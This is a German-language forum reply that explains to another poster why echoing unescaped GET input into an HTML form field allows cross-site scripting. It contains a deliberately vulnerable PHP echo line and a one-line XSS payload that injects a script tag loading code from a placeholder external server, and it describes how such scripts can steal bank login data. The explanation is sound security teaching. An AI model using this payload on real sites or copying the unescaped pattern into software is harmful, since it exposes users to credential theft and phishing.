Sven Rautenberg: select selected

Beitrag lesen

Moin!

warum soll er beim echo einer Variable für Cross-Site Scriptiong anfällig sein?

Angenommen, folgender Code existiert (eingebettet in ein passendes Formular):

  
<?php  
  
echo "<input type='text' name='feld' value='".$_GET['feld']."'>";  
  
?>  

Erstelle dir einfach im Geiste, oder real, den daraus resultierenden HTML-Code für folgende Stringeingabe:

  
'><script src='http://externer-server/boeses.js'></script><hr size='2  

Wird z.B. eine Attacke in Form von
"a"; boese_Attacke;
dann wird halt eben dieser Text ausgegeben und nicht boese_Attacke ausgeführt.

Klar, aber HTML-aktive Zeichen werden "ausgeführt" - vom Browser. Und damit lassen sich Javascripte einbinden. Und diese Javascripte führen dann im Kontext der Seite Dinge aus, die man eventuell nicht will, weil sie die Anmeldedaten des Users klauen, oder die Seiteinhalte manipulieren, oder alle Links auf andere Server umbiegen etc.

Das escapen ist hauptsächlich für Datenbank-Aktionen und für auszuführende Variablen notwendig (eval)

Du irrst. Gerade das fehlerhafte Escapen von wieder ausgegebenen HTML-Inhalten führt dazu, dass beispielsweise bis vor kurzem noch sehr viele Bankseiten für Cross-Site-Scripting anfällig waren. Man konnte mit einem präparierten Link eigenen Code in die ansonsten vollkommen echte Bankseite einfügen und dadurch Phishing betreiben. Reicht ja schon aus, wenn die URL des Login-Formulars (das, wo man Bank-ID und PIN eingibt) auf einen anderen SSL-zertifizierten Server geändert wird. Der Browser wird nicht meckern, dass die sichere Verbindung verlassen wird - aber die Daten landen in falschen Händen.

Ja klar, wenn man als User keine präparierten Links klickt, ist man davor geschützt - aber darauf kommt es nicht an, mit der Dummheit der Benutzer muß man immer rechnen.

- Sven Rautenberg

--
"Love your nation - respect the others."